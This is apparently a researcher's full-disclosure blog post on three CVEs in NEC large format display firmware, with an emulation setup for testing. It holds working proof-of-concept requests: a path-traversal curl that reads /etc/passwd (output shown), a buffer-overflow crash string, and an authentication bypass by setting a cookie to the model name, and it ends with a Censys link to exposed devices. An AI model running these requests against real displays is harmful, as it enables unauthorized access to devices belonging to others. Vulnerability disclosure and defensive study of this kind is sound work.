IoT: Full Disclosure Vulnerabilites NEC Large Format Displays

This blogpost will cover some vulnerabilites discovered in the actual Firmware of NEC Large Format Displays ( several, such as Rev. 18 or Rev1.8). The following vulnerabilites were discovered:

  • Local File Inclusion (CVE-2020-26125)
  • Stack based Buffer-Overflow (CVE-2020-26127)
  • Broken Authentication (CVE-2020-26126)

The vulnerabilities exist (at least) on the following devices of the vendor NEC Display Solutions, Ltd.:

P403, P463, P553, P703, P801, X554UN, X464UN, X554UNS, X464UNV, X474HB, X464UNS, X554UNV, X555UNS, X555UNV, X754HB, X554HB, UN551S, UN551VS, X464UNS-2, X554UNS-2, X464UNV-3, X554UNV-2, E705, E805, E905, V864Q, C861Q, P754Q, V754Q, C751Q, V984Q, C981Q, P654Q, V654Q, C651Q, V554Q

As far as I can see the vulnerable binary is present in all Large Format Displays of the vendor.

Details Local File Inclusion (LFI).

The vulnerability can be exploited with access to the web interface of the device. An attacker can send a http GET request to retrieve information from arbitrary files.

Due to a limited buffer size of 256 byte, files with a bigger size are not displayed completely.

PoC: LFI

Nevertheless, the vulnerability can still be used to get helpful information about the device. Such as, but not limited to, the following.

$ curl http://xxx.xxx.xxx.xxx/cgi-bin/cgictrl?P=../../../etc/passwd
root:tfEoPU3JsEdIg:0:0:root:/root:/bin/sh
nobody::65534:65534::/nonexistent:/bin/false
www::80:80:www:/var/www:/bin/false
ftp::101:101::/var/ftp:/bin/false

Details stack based buffer overflow.

An insecure usage of the C-function strcpy() leads to a stack based buffer overflow.

As can be seen on the following extract of the vulnerable function. A stack with the size of 256 bytes is created, and the functyion parameter QUERY_STRING is transformed to the type char and saved in a variable. (marked green)

The vulnerability is triggered when the created variable is copied into the allocated buffer. (marked red). Since the size of the parameter QUERY_STRING can be bigger than the allocated buffer of 256 bytes, a simple stack based buffer overflow can occur.

PoC: Stack based buffer overflow

In order to setup a environment to create the PoC qemu was used.

$ wget http://ftp.debian.org/debian/dists/jessie/main/installer-armel/current/images/versatile/netboot/vmlinuz-3.16.0-6-versatile
$ wget http://ftp.debian.org/debian/dists/jessie/main/installer-armel/current/images/versatile/netboot/initrd.gz
$ qemu-img create -f raw hda.img 2G
$ mkdir mount
$ sudo mount hda.img /home/kali/arm-emul/mount -o loop,offset=1048576
$ cp mount/boot/initrd.img-3.16.0-6-versatile ./
$ qemu-system-arm -m 256 -M versatilepb -kernel vmlinuz-3.16.0-6-versatile -initrd initrd.img-3.16.0-6-versatile -hda hda.img -append "root=/dev/sda1"

The vulnerable firmware was downloaded and extracted using firmware-mod-kit. Afterwards the vulnerable binary was located in:

$ sudo ./extract-firmware.sh /home/kali/NEC/NDS_FIRMWARE_IMAGE_FILE/NDS_CDT_A5_UHD_R1804.pac
$ /home/kali/NEC/NDS_FIRMWARE_IMAGE_FILE/fmk/rootfs/app/www/cgi-bin/cgictrl

To see if the binary was compiled using protection flags the tool checksec.sh was used.

The parameter QUERY_STRING represents an environment variable that is created by the webserver. In order to circumvent the necessarity for a webserver in the test environment, the variable was set manually.

root@debianARM:/home/mezdanak/poc# export QUERY_STRING=P=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBB

gdb was used to start and debug the binary. (marked green) The vulnerability was triggered after the second (gdb) r command. (marked red) Also, another vulnerability popped up. (marked yellow, discussed later)

To trigger the vulnerability from the web interface the following command can be used.

$ curl http://xxx.xxx.xxx.xxx/cgi-bin/cgictrl?P=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBB

Details Broken Authentication.

By default the web interface of the Large Display Monitor is not protected by a password. But it can be enabled using the following functionality.

Once a password is set, the user will be requested to enter a username and a password, when accessing the web interface.

By default the username is the device name. In this case E805 (Model Number).

The default password is 0000. Let us assume, that the user changed the HTTP PASSWORD before enabling the password protection. Do not worry my friend, NEC made a mistake. Instead of calculating a cryptographically secure access Cookie, they choose to use the username as access Cookie. (remember the yellow marked snippet in the buffer overflow image?)

The value of the Cookie USERNAME, can be manually set to E805. This allows accessing the web interface in the usual comfort 😬.

Now browse:

http://xxx.xxx.xxx.xxx/pd_index.html

Summary.

Our short journey into the land of large displays showed that there is some room for improvement left. The most interesting part for me was the PoC creation with qemu and gdb. Unfortunately I was not able to weaponize the PoC, since constrains like the size of the buffer but furthermore only a small subset of bytes was possible to use in the QUERY_STRING. (e.g. ABCDE…abcde…012345…) This limitation made it impossible for me to write a useful address in the ESP register. Nevertheless, maybe someone out there has the sustainability to create a working exploit. 😁

Some may ask, why a full disclosure? Well as so often the vendor did not respond to my contact. And I’m getting really tired trying it a million times.

Censys.

https://censys.io/ipv4?q=pd_index.html

Have fun 🙃.